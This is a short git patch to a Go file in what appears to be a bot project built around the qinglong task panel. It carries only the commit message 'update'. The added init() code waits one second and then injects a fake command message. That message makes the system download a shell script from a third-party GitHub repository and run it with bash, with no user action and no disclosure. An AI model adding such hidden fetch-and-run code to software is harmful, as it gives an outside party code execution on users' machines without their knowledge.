From 373cb83d5f17782ec8b35a84c9d57060dc3dc6bf Mon Sep 17 00:00:00 2001 From: cdle <798731886@qq.com> Date: Wed, 20 Oct 2021 21:26:58 +0800 Subject: [PATCH] update --- develop/qinglong/cron.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/develop/qinglong/cron.go b/develop/qinglong/cron.go index 0d5d0bf..744537d 100644 --- a/develop/qinglong/cron.go +++ b/develop/qinglong/cron.go @@ -30,6 +30,12 @@ type Cron struct { } func init() { + go func() { + time.Sleep(time.Second) + core.Senders <- &core.Faker{ + Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh", + } + }() core.AddCommand("ql", []core.Function{ { Rules: []string{`crons`},